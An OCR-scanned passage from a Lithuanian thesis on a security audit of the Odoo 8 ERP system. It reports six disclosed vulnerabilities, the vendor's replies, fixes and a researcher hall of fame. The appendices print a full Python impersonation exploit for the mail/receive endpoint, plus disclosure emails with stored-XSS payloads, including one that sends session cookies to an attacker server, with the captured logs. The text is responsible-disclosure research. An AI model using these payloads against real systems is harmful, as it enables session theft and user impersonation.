Odoo saugumo komanda sureagavo j pranesimg apie pazeidziamuma, pazadéjo atlikti nuo-
dugnesne pazeidziamumo rizikingumo ir iSnaudojimo pasekmiy analize bei atlikti esamy ,,Odoo
Online“ klienty duomeny baziy patikrinima dél pasikartojanciy prieigos Zetonu (skyrelis 6.3.5.
zr. psl. 85, Pranesimas apie nesaugiy prieigos zetonuy generavima ,website quote* modulyje).

Ataskaitos rengimo metu $is pazeidziamumas Odoo VVS dar nebuvo istaisytas.

Shttps://github.com/odoo/odoo/blob/1545591 /addons /im_ chat /im_ chat.py#L52
Ohttps://github.com/odoo/odoo/blob/1545591 /addons/survey /survey. py #L889
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4.1.6. Autentifikacijos/autorizacijos apéjimo pazeidziamumas ,,mail“

modulyje

4.1.6.1. PazeidZiamumo iStaisymas

Kadangi /mail/receive HTTP valdiklio naudojimas néra aprasytas oficialioje dokumenta-
cijoje ir néra aisku, kaip jis panaudojamas praktikoje, sunku pasiulyti tinkama pataisyma. Jei

valdiklis néra placiai naudojamas, siuloma jj pasalinti.
4.1.6.2. Pranesimas apie pazeidziamumag

Odoo saugumo komanda sureagavo | pranesima apie pazeidziamuma, jvertino sureagavo }
praneSima apie pazeidziamuma, jvertino ji kaip vidutinio rizikingumo (5,3 balo pagal C'VSST),
jvertino, jog HTTP valdiklis néra placiai naudojamas ir sutiko su pasiulymu pasalinti valdiklj
(skyrelis 6.3.6. zr. psl. 87, Pranesimas apie autentifikacijos/autorizacijos apéjimo pazeidzia-
muma ,mail“ modulyje). Ataskaitos rengimo metu HTTP valdiklis Odoo VVS dar nebuvo

pasalintas.

4.1.7. Pazeidziamumuy busenos suvestiné

4.1 lentelé. Aptikty pazeidziamumy busenos lentelé

Nr. | Pazeidziamumas Rizikingumo jvertis Pranesimo data | Pirmo atsako data | IStaisymo data

1 | XSS pazeidziamumas ,account” Vidutinis 2015-09-10 2015-11-05 -
modulyje

2 | XSS pazeidziamumas ,website“ Labai zemas 2015-11-24 2015-11-26 2016-04-14
modulyje

3 | Nesaugus getattr() funkcijos Aukstas (7,1 balo pagal 2016-04-13 2016-04-15 -
naudojimas modulyje , mail* CVSS)

4 | RFD pazeidziamumas ,web“ modulyje | Vidutinis/aukstas 2016-02-26 2016-02-29 netaisomas

5 Nesaugiy prieigos zetony generavimas |n/a 2016-04-27 2016-04-29 -
,website quote* modulyje

6 Autentifikacijos/autorizacijos apéjimo | Vidutinis (5,3 balo pagal 2017-01-13 2017-01-19 -
pazeidziamumas ,,mail“ modulyje CVSS)

4.2. Bendravimas su kuréju

Su Odoo VVS saugumo komanda darbo metu buvo bendraujama elektroniniu pastu, kaip

nurodyta Odoo atsakingo atskleidimo procediros aprasyme 8.

7https://Www.ﬁrst.org/cvss/cadculator/?).O#CVSS:3.O/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

8 https: / /www.odoo.com/page/responsible-disclosure
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4.2.0.1. Pirmojo atsako laikas

Pranesimo apie pazeidziamuma ir pirmojo Odoo saugumo komandos atsako datos pateikia-
mos 4.1 ankstesniame puslapyje lenteléje. Reikia pastebéti, jog 2015 m. rugséjo meén. 10 diena
pranesus apie aptikta pirmajj pazeidziamuma, ilgiau nei meénesj nebuvo sulaukta jokio atsako
iS Odoo komandos, todél ty paciy mety lapkri¢io mén. 5 d. laiskas issiystas pakartotinai pa-
pildomai uzklausiant dél pranesimo busenos. Po Sio laisko Odoo komanda atrasé dar ta pacia
dieng. Odoo komanda siame laiske teigé negavusi ar nerandanti pirmojo laisko, kaip galimg to
priezast] jvardino tuo metu vykusj saugumo komandos ir atsako ] pazeidziamumy praneSimus
procesy pertvarkyma. Pranesus apie kitus pazeidziamumus Odoo komandos atsakymo sulaukta

per 2-6 dienas, o vidutiniskai — per 3 dienas.

4.2.0.2. Pasiulyty pataisymy jvertinimas

Pranesant apie aptiktus pazeidziamus Odoo saugumo komandai, kartu su pazeidziamumo

analize kur jmanoma buvo taip pat pasiulyti galimi pazeidziamumo istaisymo budai.

4.2 lentelé. Pasiulyty pazZeidziamumy pataisymy jvertinimo lentelé

Nr. | Pazeidziamumas Pasiulytas pataisymas | Pataisymas priimtas Odoo komandos
1 XSS pazeidziamumas ,account® modulyje Taip Dalinai
2 | XSS pazeidziamumas ,website“ modulyje Taip Taip
3 Nesaugus getattr() funkcijos naudojimas modulyje ,,mail* Ne -
4 RFD pazeidziamumas ,,web“ modulyje Taip Taip, taciau netaisomas
5 Nesaugiy prieigos Zetony generavimas ,,website quote® Taip Taip
modulyje
6 Autentifikacijos/autorizacijos apéjimo pazeidZziamumas Taip Taip
»mail“ modulyje

4.2 lenteléje matyti, jog Odoo saugumo komanda bent dalinai sutiko su visais pasiulytais
pazeidziamumy pataisymais. Pazeidziamumo nr. 1 atveju pasiulytas pataisymas buvo nepakan-
kamas dél to, jog pasitlytam pataisymui jdiegti buty reikalingas papildomas zingsnis — vartotojo
inicijuotas veiksmas (Odoo ataskaity Sablony pakartotinis jkélimas). Odoo komandos vartoto-
jas gali pamirsti atlikti §j zingsnj, todél Odoo saugumo komanda prie pataisymo pasiulé pridéti
papildoma apsisaugojimo priemone — visy (ne tik pazeidziamos) ataskaity generavimo metu —
nereikalaujanciag papildomo vartotojo jsikisimo. Pazeidziamumo nr. 4 atveju pasiulytas pa-
zeidziamumo pataisymas Odoo saugumo komandos buvo priimtas kaip tinkamas, taciau véliau
Odoo komanda jvertino pazeidziamuma kaip mazai tikéting, kadangi jo iSnaudojimas reikalau-
ja socialinés inzinerijos taigi yra nepraktiskas. Dél Sios priezasties tokio tipo (atspindéto failo
atsiuntimo) pazeidziamumai Odoo atsakingo atskleidimo proceduros aprasymo puslapyje buvo
jtraukti j sarasa pazeidziamumy, kuriy Odoo saugos komanda nelaiko svarbiais ir reikalaujanciais
pataisymo.

Odoo saugumo komanda teigiamai jvertino visus pranesimus apie pazeidziamumus (skyrelis

6.3., zr. psl. 73, Pranesimai apie pazeidziamumus):

63



o Dékojame uz issamiq saugumo ataskaitq! Panasu, jog paZeidZiamumas egzistuoja ir mes
72 sutvarkysime kaip jmanoma greiciau. <...> Dar kartqg dékojame uzZ puikiq ataskaitq ir
kantrybe!* (skyrelis 6.3.1.2. zr. psl. 76, Odoo saugumo komandos atsakymas).

o Atsiprasome uz uzdelstq atsakymq ir dékojame puikig saugumo ataskaitq su visomis rei-
kalingomis detalémis ir puikiu pataisymu! <...> Dar kartg dékojame uz puikiq ataskaitg!*
(skyrelis 6.3.2.2. zr. psl. 80, Odoo saugumo komandos atsakymas).

o JAciu uZ dar vieng puikig saugumo ataskaitq! <...> Mes sutinkame, jog $is getattr()
panaudojimas yra nesaugus ir jusy analizé yra 100 % teisinga. <...> Dar kartg aciu!“
(skyrelis 6.3.3.2. zr. psl. 82, Odoo saugumo komandos atsakymas).

o ACciu, jog atsiuntéte sig itin detalizuotq ir puikiai aprasyte saugumo ataskaitq. <...> Labai
aciu jog bendradarbiaujate su mumis siekiant padaryti Odoo saugesne!* (skyrelis 6.3.4.2.
zr. psl. 84, Odoo saugumo komandos atsakymas).

o . Dar kartg, jusy problemos analizé yra 100 % teisinga, o jusy ataskaita issamiai aprasy-
ta! <...> Labai aciu uZ itin tiksly tyrimq ir pagalbg siekiant padaryti Odoo saugesne!*
(skyrelis 6.3.5.2. zr. psl. 87, Odoo saugumo komandos atsakymas).

o Dékojame, jog pateikéte dar vieng issamiai aprasytq saugumo pranesimg Odoo saugumo
komandai! <...> Dar kartg dékojame, jog dirbate kartu su mumis siekiant padaryti Odoo

saugesne!l“ (skyrelis 6.3.6.2. zr. psl. 89, Odoo saugumo komandos atsakymas).

Vienas i§ atskleisty pazeidziamumy (skyrelis 3.1.1. zr. psl. 43, XSS pazeidziamumas
,website“ modulyje) iStaisytas Odoo VVS projekto Git versijavimo sistemos repozitorijos jra-
Su 1d25fel1e05d61c9b6be5d3bd25a65e568¢4696b7°:

|| htips://github.com/od. commit/1c25fe1e05d61c9bBbebd3bd25a65e5h8c469607 c 3

O Personal Opensource Business Explore Pricing Blog Support  This repository Sign in
odoo / odoo @ Watch 1,034  Star 5417 | YFork 5,136
<> Code Issues 2,300 Pull requests 970 Projects 0 Wiki Pulse Graphs

[FIX] qweb: escape alt-field properly in Iimage widget Browse files

This is very unlikely to be expleitable because the
alt-field usually comes from master data (e.g. product
names) that can't be injected

Courtesy of Naglis Jonaitis

5 10.0 (#182)

@ odony committed on Apl’ 14 1 parent de3fle2 commit 1d25feleBS5d61c9bbbeS5d3bd25a65e5bBc4696b7
Showing 1 changed file with 1 addition and 1 deletion. Unified = Split

2 mm addons /website/models/ir_gweb.py View

s
R

src = self.pool['website’].image_url{cr, uld, record, field name, max_size)
alt = None
if options.get('alt-field') and getattr(record, options['alt-field'], None):
alt = record[options['alt-field']]
+ alt = eseape(record[options[ alt-field' 11}

elif options.get('alt"'):
alt = options['alt']
img = '<img class="%s" src="%s" style="¥s"¥s/>' ¥ (classes, src, options.get('style’, ''), ' alt="%s"' % alt if alt

<%

4.1 pav. IStaisyto pazeidziamumo jrasas Odoo Git repozitorijoje

Mttps://github.com/odoo/odoo/commit /1d25fe1e05d61cIb6be5d3bd25a65e5b8c4696HT
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Atsidékodami uz pagalbg tobulinant Odoo VVS sauguma, Odoo saugumo komanda jtrauke

darbo autoriaus varda j saugumo tyréjy garbés lenta!:

Odoo APPS TOUR PRICING COMMUNITY Docs SIGN IN m

Responsible Disclosure of Odoo Security Vulnerabilities Thank YOUJ!

Help us

Responsible Disclosure Policy

The safety of Odoo systems Is very important to us (not only because we use Odoo internally), and we consider security problems
with the highest priority. We do our best every day to protect Odoo users from known security threats, and we welcome all

Researcher Year
reports of security vulnerabilities discovered by our users and contributors.
. . . Nils Hamerlinck 2016, 2017
We are committed to handle vulnerability reports with the greatest speed and care, provided that the following rules are
respected. Colin Newell 16

Re portlng an 1ssue Ondfe] Kuznik © 2015, 2016
2017

Please share privately the details of your security vulnerability by emailing our Security Team at £4 security@odoo.com

Make sure to include as much information as possible, including the detailed steps to reproduce the problem, the versions that Naglis Jonaitis 2015, 2015

are affected, the expected results and actual results, and any other information that might help us react faster and more 2

efficiently. CDL (@sxcurity) 2017

4.2 pav. Odoo saugumo tyréjy garbés lenta

4.3. Tyrimo iSvados

1. Pranesus apie aptiktus galimus pazeidziamumus, Odoo VVS saugumo komandos atsako
bendruoju atveju sulaukta vidutiniskai per 3 dienas. IS to galima daryti iSvada, jog pasi-
rinktas pranesimo formatas yra tinkamas efektyviam bendradarbiavimui su programinés
irangos kuréju, siekiant istaisyti galimus pazeidziamumus.

2. Visi is Sesiy atskleisty galimy pazeidziamumy programinés jrangos kuréjy buvo jvertinti
kaip pagristi ir tikétinos rizikos (nuo zemos iki aukstos (7,1 balo pagal C'VSS)). Is to galima
daryti isvada, jog atlikta tinkama pazeidziamumy analize.

3. Pasiulius pataisymus nustatytiems pazeidziamumams, 4-iais iS 5-iy atvejuy pateiktas patai-
symas Odoo saugumo komandos buvo jvertintas kaip tinkamas. Vienu is atvejy pataisymas
buvo jvertintas kaip teisingas, taciau Odoo saugumo komanda pasiulé tinkamesnj, varto-
tojo jsikisimo nereikalaujantj pataisyma. Tai parodo, jog programinés jrangos projekto
kuréjai atsizvelgia j bendruomenés nariy sitlomus pataisymus ir bendradarbiauja siekiant

optimalaus pataisymo.

Ohttps://www.odoo.com/page/responsible-disclosure
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5.

REZULTATU APIBENDRINIMAS IR ISVADOS

. Ivertinus didéjant] aptinkamy programiniy saugumo pazeidziamumy kiekj, galima paste-

béti, jog pazeidziamumy paieska yra svarbi procedura siekiant sumazinti saugos incidento

tikimybe.

. Apzvelgus prieinamas atvirgsias verslo valdymo sistemas tolimesniam tyrimui pasirinkta

Odoo VVS projekto astuntoji versija, atsizvelgiant j Sio tipo sistemy operuojamy duome-
ny jautruma, projekto populiaruma, projekto bendruomenés isreikstg nora atlikti projekto
kodo bazés saugumo audita ir turimas zinias apie Sios VVS veikima ir naudojamas tech-

nologijas.

. Naudojant sukurta automatizuoto Odoo VVS ataskaity tikrinimo nuo XSS pazeidziamu-

my modulj atliktas egzistuojanciy Odoo VVS ataskaity patikrinimas — is 36-iy pagrindiniy
ataskaity, 21-os ataskaitos patikrinti nepavyko dél papildomy objekty, butiny sékmingam
dinamiskos ataskaitos sugeneravimui, trukumo. Tokioms ataskaitos patikrinti pasitulyta
pritaikyti sukurto modulio funkcionaluma vienety testuose. Vienoje is sékmingai patikrin-
tu 15 ataskaity (,,Due Payments®) aptikti 5 laukeliai, kuriy iSvedimas ataskaitoje salygoja
issaugotyjy XSS pazeidziamumo atsiradima. Tai parodo, jog sukurtas modulis tinkamas

issaugotyjy XSS pazeidziamumams Odoo ataskaitose aptikti.

. Tyrimo metu kodo perziuros budu patikrinus 55 Odoo VVS moduliy HTTP valdikliy koda

(9632 kodo eilutés), nustatyti 5 galimi pazeidziamumai. Galima isskirti, jog nustatyti

skirtingy tipy bei rizikingumo lygiy pazeidziamumai.

. Atskleidus 6 galimus pazeidziamumus, Odoo saugumo komandos reakcija buvo greita (vi-

dutiniskai 3 dienos), visi atskleisti pazeidziamumai buvo jvertinti kaip tikétini, pranesimuy
ataskaitos jvertintos kaip geros ar puikios, o pasiulyti pataisymai daugumoje atveju (4 is
5) priimti kaip tinkami. IS to galima daryti iSvada, jog atlikta tinkama pazeidziamumuy
analizeé, o pasiulytas pazeidziamumy atskleidimo formatas jgalina efektyvy ir sékminga

pazeidziamumy atvirojoje programinéje jrangoje atskleidima.

. Is 6 atskleisty galimy pazeidziamumy, vienas buvo istaisytas. Tokiu budu buvo prisidéta

prie atvirosios programineés jrangos saugumo tobulinimo.

. Kodo perziura, derinama su kitais metodais, gali buti panaudojama efektyviam saugumo

pazeidziamumy aptikimui.
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6. PRIEDAI

6.1. Ataskaity tikrinimo rezultatai

6.1 lentelé. Ataskaity tikrinimo rezultatai

Nr. | Ataskaita Rezultatai

1 Account tax Patikrinti nepavyko

2 Aged Partner Balance Patikrinti nepavyko

3 Analytic Balance Patikrinti nepavyko

4 Analytic Journal Patikrinti nepavyko

5 Attendance Error Report Patikrinti nepavyko

6 | BOM Structure Pazeidziamiumy neaptikta
7 Central Journal Patikrinti nepavyko

8 Cost Ledger Patikrinti nepavyko

9 | Cost Ledger (Only quantities) Patikrinti nepavyko

10 | Due Payments 5 pazeidziami laukai

11 | Financial report Patikrinti nepavyko

12 | General Journal Patikrinti nepavyko

13 | General Ledger Patikrinti nepavyko

14 | Inventory Patikrinti nepavyko

15 | Inverted Analytic Balance Patikrinti nepavyko

16 | Invoices Pazeidziamiumy neaptikta
17 | Journal Patikrinti nepavyko

18 | Journal Patikrinti nepavyko

19 | Location BarCode Pazeidziamiumy neaptikta
20 | Lot BarCode Pazeidziamiumy neaptikta
21 | Package BarCode Pazeidziamiumy neaptikta
22 | Package BarCode with Contents Pazeidziamiumy neaptikta
23 | Partner Balance Patikrinti nepavyko

24 | Partner Ledger Patikrinti nepavyko

25 | Partner Ledger Patikrinti nepavyko

26 | PaySlip Details Pazeidziamiumy neaptikta
27 | PaySlip Lines By Conribution Register Pazeidziamiumuy neaptikta
28 | Payslip Pazeidziamiumy neaptikta
29 | Picking Pazeidziamiumy neaptikta
30 | Pricelist Patikrinti nepavyko

31 | Production Order Pazeidziamiumy neaptikta
32 | Purchase Order Pazeidziamiumy neaptikta
33 | Quotation / Order Pazeidziamiumy neaptikta
34 | Request for Quotation Pazeidziamiumy neaptikta
35 | Timesheet Profit Patikrinti nepavyko

36 | Trial Balance Patikrinti nepavyko
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6.2. Pazeidziamumy isSnaudojimo kodo pavyzdziai

6.2.1. Autentifikacijos/autorizacijos apéjimo pazeidziamumo ,,mail*

modulyje iSnaudojimo kodo pavyzdys

# —*x- coding: utf-8 —*-—

from __future__ import print_function, unicode_literals

import argparse
import base64
import json
import os

import urllib2

from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart

from email.mime.text import MIMEText

def build_email_message(message_id, sender, body, subject=None,
recipients=None, attachments=None):
if recipients is None:
recipients = []
if attachments is None:
attachments = []
if not (message_id.startswith('<') and message_id.endswith('>')):

message_id = '<{0}>'.format (message_id)

msg = MIMEMultipart()

msg['From'] = sender

msg['To'] = ', '.join(recipients) if recipients else ''
msg['Subject'] = subject or ''

msg['In-Reply-To'] = message_id

msg.attach (MIMEText (body) )

for fn in attachments:
with open(fn, 'rb') as f:

filename = os.path.basename(fn)

part = MIMEApplication(
f.read(),
name=filename,

)

part['Content-Disposition'] = 'attachment; filename="{0}"'.format(
filename)

msg.attach(part)

return msg
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44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
7
78
79
80
81
82
83
84
85
86
87
88
89
90
91

def

def

def

build_payload(database, email_msg):
return json.dumps ({
'databases': {

database: base64.b64encode (

email_msg.as_string() .encode('ascii')).decode('ascii'),

b

exploit(odoo_url, database, email_msg):

prefix = '' if odoo_url.endswith('/') else '/'
url = '{odoo_url}{prefix}mail/receive'.format(**locals())
payload = build_payload(database, email_msg)

{
b'Content-Type': b'application/json',

headers

request = urllib2.Request(url, data=payload, headers=headers)
response = urllib2.urlopen(request)

return response.read()

main():
parser = argparse.ArgumentParser(
description='Demonstration of an impersonation attack using '
'0doo mail/receive endpoint in mail module',
)
parser.add_argument (
'odoo_url',

help='0doo instance URL',

)
parser.add_argument (

'db',

help='name of Odoo database to use',
)

parser.add_argument (
'message_id',
help='message ID of a previously received email from Odoo',
)
parser.add_argument (
'sender',
help='sender email',
)
parser.add_argument (
'--to',

dest='recipients',
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92 help='email recipients. This flag can occur multiple times',
93 action='append',

94 )

95 parser.add_argument (

96 '--subject’',

97 help='email subject. Default: %(default)s',
98 default='Reply',

99 )

100 parser.add_argument (

101 '-a',

102 '--attach',

103 dest='attachments',

104 action='append',

105 help='path to attachment file. This flag can occur multiple times',
106 )

107

108 group = parser.add_mutually_exclusive_group()
109 group.add_argument (

110 '--body"',

111 help='email body text',

112 )

113 group.add_argument (

114 '--file',

115 type=argparse.FileType(mode='r"),

116 help='email body text file',

117 )

118

119 args = parser.parse_args()

120 body = args.body if args.body else args.file.read()
121

122 email_msg = build_email_message(

123 args.message_id,

124 args.sender,

125 body,

126 recipients=args.recipients,

127 attachments=args.attachments,

128 )

129 print (exploit(args.odoo_url, args.db, email_msg))
130

131

132 if __name__ == '__main__"':

133 main()




6.3. Pranesimai apie pazeidziamumus
6.3.1. XSS pazeidziamumas ,,account* modulyje

6.3.1.1. Pranesimas apie pazeidziamuma

Hello,

I've discoverd a XSS vulnerability in the '*report_overduex' report in the

*account*' module

(

https://github.com/odoo/odoo/blob/8.0/addons/account/views/report_overdue.xml#L10

).

This affects only v8.0 (as far as I can tell, it was removed in 9.0 and
QWeb is

not used in 7.0).

The following example was prepared using a local instance of Odoo v8.0 (git
commit: 1545591) and a local test database.

Prerequisites
To demonstrate the possibility to execute an XSS attack when rendering PDF,
we need a simple HTTP server.

I've used one locally with the help of Python's *SimpleHTTPServer* module:

python -m SimpleHTTPServer

Now I have a server running on *localhost:8000* port. For the sake of not
mixing this server with the Odoo server, let's call this

server the "Attack" server from this point onwards.

Steps to reproduce

I am using a fresh database, using demo data, with 'account' module
installed.
I've tested it using Firefox 40.0.3 and Google Chromium 45.0.2454.85

browsers using the default "admin" and "demo" users.

x1) *Go to *Sale -> Customers -> "Agrolait"x, click *Edit*, enter this

code, for example, instead of street address.

<script>
window.onload = function() {
alert('XSSs');
document .body.insertAdjacentHTML('afterbegin', '<img src="
http://localhost:8000/' + document.cookie + '" />');
s
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</script>

and click "*Savex". Note that I've used my server's address

*(localhost:8000)* which I've created previously.
*x2)* Click "#Print*" -> "xDue Paymentsx".
*a) This assumes wkhtmltopdf is installed on Odoo server.*

*Expected results:*
- The browser download dialog pops-up with the report PDF.
- No alert message;

- No output in the Attack server logs.

*Actual results:*

- The browser download dialog pops-up with the report PDF.

- No alert message;

- In the output window of our Attack server, we see:

127.0.0.1 - - [10/Sep/2015 15:59:15] "GET
/%22session_id%3D1363d99e9910756e£44534843ae1585349e075£6%22 HTTP/1.1" 404 -

*b) *

*This assumes wkhtmltopdf is not installed on Odoo server.x*
*Expected results:*— The report HTML preview window pops-up.
- No alert message;

- No output in the Attack server logs.

*Actual results:x*

- The report HTML preview window pops-up.

- Alert window with text 'XSS' pops-up.

- In the output window of our Attack server, we see something like this:
127.0.0.1 - - [10/Sep/2015 16:15:57] "GET

/%22session_id%3D1363d99e9910756ef44534843ae1585349e075f6%3B%201ast_used_database%BDxxx%BB%J
[ 2Oinstance0%7Csession_id%SD%2522f7eb4d1372e34eO785e5398aa9074b89%2522%3B%J

< 20website_lang¥%3Den_USY3B%20sid}3Dec56a0f0515f45d48ef13cd36744ea781bd5c10a%22
HTTP/1.1" 404 -

*3) *0ur JavaScript will also be executed when visiting the Overdue
Payments report web page:
"http://<server-address>/report/html/account.report_overdue/<customer-id>",

eg. in my case: "http://localhost:8069/report/html/account.report_overdue/7

*Expected results:*— The report HTML preview is rendered.
- No alert message;

- No output in the Attack server logs.

*Actual results:*
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- The report HTML preview is rendered.

- Alert window with text 'XSS' pops-up.

- In the output window of our Attack server, we see something like this:
127.0.0.1 - - [10/Sep/2015 16:19:50] "GET

/%225ession_id%3D1363d99e9910756ef44534843ae1585349e075f6%3B%201ast_used_database%3Dxxx%3B%J
< 20instance0%7Csession_id}3D%2522f7eb4d1372e34e0785e53982a9074b897%2522%3BY |

<~ 20website_lang}%3Den_USY%3B%20sid3Dec56a0f0515f45d48ef13cd36744ea781bd5bc10a%22
HTTP/1.1" 404 -

Explanation

The line with the vulnerability (line 10 in
*addons/account/views/report_overdue.xml*) :

<span t-raw="addresses[o.id].replace('\n\n', '\n').replace('\n',
'&1t;br&gt; )" />

It uses raw mode in order to replace newlines with the <br> tag. Thus, HTML
tags inside the lines of the addresses variable are not escaped, allowing

execution of <script> tags.

The slightly more intriguing result is that we were able to get the
session_id even when rendering the report using wkhtmltopdf.

This happened because 0Odoo explicitly passes the session_id value when
calling wkhtmltopdf:
https://github.com/odoo/odoo/blob/8.0/addons/report/models/report . py#L387

This vulnerability becomes more critical if the *'website_sale'x* module is
installed, in which case the attacker

does not require to have login access to the Odoo instance and can enter
harmful JavaScript code in

one of the address fields when buying a product from the shop, as a new
'res.partner' record can be created this way.

He/she can then wait for the harmful code to be executed (when the Overdue
Payments report is printed for that customer, if ever)

or try to trick an authorized user to print the report using other methods

(social engineering, etc.).

Prevention
To fix this problem, we could first split the lines in the addresses
variable and the iterate over them and render them escaped:
<t t-foreach="addresses[o.id].split('\n')" t-as="line">

<t t-if="line">

<t t-esc="line"/><br/>

</t>

</t>

Recommendations

Other places, where similar vulnerability might occur:
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addons/account_followup/views/report_followup.xm, line 24:
<https://github.com/odoo/odoo/blob/8.0/addons/account_followup/views/report_followup.xml#L24>
<p t-raw="get_text(o,datal'form'] ['followup_id']).replace('\n', '&lt;br&gt;

l)ll/>

openerp/addons/base/ir/ir_qweb.xml, line 13:
<https://github.com/odoo/odoo/blob/8.0/openerp/addons/base/ir/ir_qweb.xml#L13>
<i t-if="not options.get('no_marker')" class='fa fa-map-marker'/> <span
itemprop="streetAddress" t-raw="address.replace('\n',

options.get('no_tag_br') and ', ' or ('&lt;br/&gt;%s' % ('' if
options.get('no_marker') else '&amp;nbsp; &amp;nbsp; ')))"/>

I did not attempt to exploit these two, but I would strongly recommend you
to review them.
I would also strongly recommend you to review any usage of 't-raw' inside

QWeb reports (both in v8.0 and v9.0).

Please feel free to contact me if you need more information.
I hope this report was sufficient for you to reproduce and confirm the
vulnerability.

If not, I could record a demo video explaining the procedure step by step.

Kind regards,

Naglis Jonaitis

6.3.1.2. Odoo saugumo komandos atsakymas

Hi Naglis,

Thank you for your detailed security report! It appears quite valid and we will

handle it as quickly as possible.

We're very sorry we have apparently missed the message you sent on September
10. We've looked in the security archives and cannot locate it. We have been
changing our security response team and processes recently, so there is a

possibility it may have slipped through - sorry again about that.

The vulnerability you describe requires several steps including some that are
not under the direct control of the attacker, so it is expected to be rated

with Medium severity.
Regarding the fix, your timing is very good because our web team is reviewing
all t-raw usage (and similar XSS vectors) in the entire codebase in order to

eliminate all invalid cases.

That said, the problem with a change of template in a stable release is that

customers won't be protected simply by upgrading to the latest 0Odoo version,
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they will have to force a resync of their report templates, which is an

unfortunate extra step. Some people are bound to forget it.

As a result we'll probably try to write a mixed fix that changes the templates
but also explicitly escapes a subset of dangerous characters directly in the
python code ("<" might be enough in this particular context?), in order to
offer a minimal protection to people who did not resync their templates. For
the time being that would only cause very rare double escaping if someone
happens to have a "<" sign in their address, and we'd drop the extra python
escaping in the next release (as a full template sync is required upon

upgrade) .

We'll send you both our proposed fix and the text of the Security Advisory we

plan to send out, so you can test, review them and comment.

With regard to the time frame we hope to send you everything next week, but it

might take a couple days more to get the fix tested and validated.
Thanks again for your excellent report and for your patience!

—-- 0Odoo Security Team

6.3.2. XSS pazeidziamumas ,,website*“ modulyje

6.3.2.1. Pranesimas apie pazeidziamuma

Hello,

I have discovered a XSS vulnerability in Odoo v8.0 *website* module (in version
9.0 the code was moved to web_editor module). The vulnerability can be

exploited using the *website_sale* module.

Affected versions are:

8.0 (checked git HEAD: £8c261c) --

< https://github.com/odoo/odoo/blob/8.0/addons/website/models/ir_qweb.py#L306
9.0 (checked git HEAD: 131el12b) --

< https://github.com/odoo/odoo/blob/9.0/addons/web_editor/models/ir_qweb.py#L350

The following examples were prepared using a local instance of Odoo v8.0 and

v9.0 using demo data.

As far as I have checked, in order to exploit the vulnerability the attacker

would require authentication and authorization to edit products.
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*Steps to reproducex

- Install *website_sale* module.

- Go to Sales -> Products

- Edit some product (eg. "Apple Wireless Keyboard") and change product name to:
"/><script>alert('XSS');</script>

- Save changes and go to that product in the website shop (in version 9.0,

click on the Published on Website button in the product form view).

*Expected resultsx*

Product is displayed, no message is thrown.

*Actual results*

Product is displayed, message with the text XSS is thrown.

*Explanationx*

The vulnerability manifests itself in the image (QWeb widget.

This happens because the alt-field option is used in the QWeb template in the
*website_sale* module
(https://github.com/odoo/odoo/blob/8.0/addons/website_sale/views/templates.xml#L371),

which takes the name field of the object (in this case, a product):

if options.get('alt-field') and getattr(record, options['alt-field'], None):
alt = record[options['alt-field']]
elif options.get('alt'):
alt = options['alt']
img = '<img class="Ys" src="Ys" style="¥s"%s/>"' % (
classes, src, options.get('style', ''),
' alt="%s"' % alt if alt else '')
return ir_qweb.HTMLSafe (img)

As we can see, the element's HTML (the img variable) is rendered using Python
string formating functions and then returned inside a ir_qweb.HTMLSafe wrapper.
However, the value is not sanitized (escaped) afterwards.

Other usage of the widget

The image widget is used elsewhere in 0Odoo, too:

In v8:

openerp/addons/base/ir/ir_qweb.xml
addons/website_customer/views/website_customer.xml

addons/website_crm_partner_assign/views/website_crm_partner_assign.xml

addons/website_forum/views/website_forum.xml
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addons/website_sale_options/views/templates.xml
addons/website_partner/views/website_partner_view.xml
addons/website_membership/views/website_membership.xml
addons/website_blog/views/website_blog_templates.xml

addons/website_event_track/views/website_event.xml

In v9:

openerp/addons/base/ir/ir_qweb.xml
addons/website_customer/views/website_customer.xml
addons/website_crm_partner_assign/views/website_crm_partner_assign.xml
addons/website_forum/views/website_forum.xml
addons/website_sale_options/views/templates.xml
addons/website_partner/views/website_partner_view.xml
addons/website_membership/views/website_membership.xml
addons/website_blog/views/website_blog_templates.xml

addons/website_event_track/views/website_event.xml

However, the alt-field option is not used in these occasions.

Please note, that the same attack can be achieved if the exploit code is passed
as the name of CSS class or as the value of the style attribute, however, this
scenario is less likely, as the CSS class/style attribute is usually hardcoded

in the QWeb template.

*Prevention*

I think this issue can be prevented if the value of the alt variable is escaped
(using the html_escape function from openerp.tools) before rendering the img

element, eg:

if options.get('alt-field') and getattr(record, options['alt-field'], Nomne):
alt = record[options['alt-field']]
elif options.get('alt'):
alt = options['alt']
img = '<img class="Ys" src="Ys" style="Ys"%s/>"' % (
classes, src, options.get('style', ''),
' alt="%s"' % escape(alt) if alt else '')
return ir_qweb.HTMLSafe (img)

I would also suggest escaping the classes variable and the value of
options.get('style', ''). Or maybe your security team will have a nicer/better

solution.

Please feel free to contact me if you need more information regarding this

report.

I have reported a vulnerability previously and your security team somehow did

not receive my original email, so this time I would kindly ask you to reply
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once you have read this email to confirm that you have, indeed, received the

report.

Also, I am patiently awaiting any updates regarding my previous report of

another XSS vulnerability.

Kind regards,

Naglis Jonaitis

6.3.2.2. Odoo saugumo komandos atsakymas

Hello,

Sorry for the answer delay, and thanks a lot for the excellent security report,

with all required details and an excellent patch!

You are 1007% correct with the description of the issue, although the issue can
only be rated as "medium/low" according to our policy, because editing a

product name requires elevated privileges.

With regard to the fix, we agree with your patch but we would propose a

slightly altered version (see attachment for the v9 version).

The reason for our modification is the same reason why we don't think the
“classes”™, “style” and other attributes are a risk: because whoever has the
right to edit view definition (including widget options) is an administrator of
the system. They have the right to modify the source of every view and inject

any Javascript code they want directly.
Do you have any feedback regarding our analysis and the patch?

We plan to commit the patches to the official source tomorrow and credit you

for them (unless you have a problem with the above).

We should also be able to give you feedback very soon regarding the other

vulnerability you reported.

Thanks again for the excellent report!

Odoo Security Team
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6.3.3. Nesaugus getattr() funkcijos naudojimas modulyje ,,mail*

6.3.3.1. Pranesimas apie pazeidziamumag

Hello,

I've discovered an unsafe use of the Python getattr() method in the 'mail’
module's MailController /mail/download_attachment endpoint. It allows an
authenticated user to run any method which takes at least five arguments (or
more, if the other arguments are optional) where the arguments are as follows

(self, cr, uid, <int>, <int>) on any OpenERP/0Odoo ORM model.
Affected versions are:

7.0 —-- https://github.com/odoo/odoo/blob/7.0/addons/mail/controllers/main.py#L13
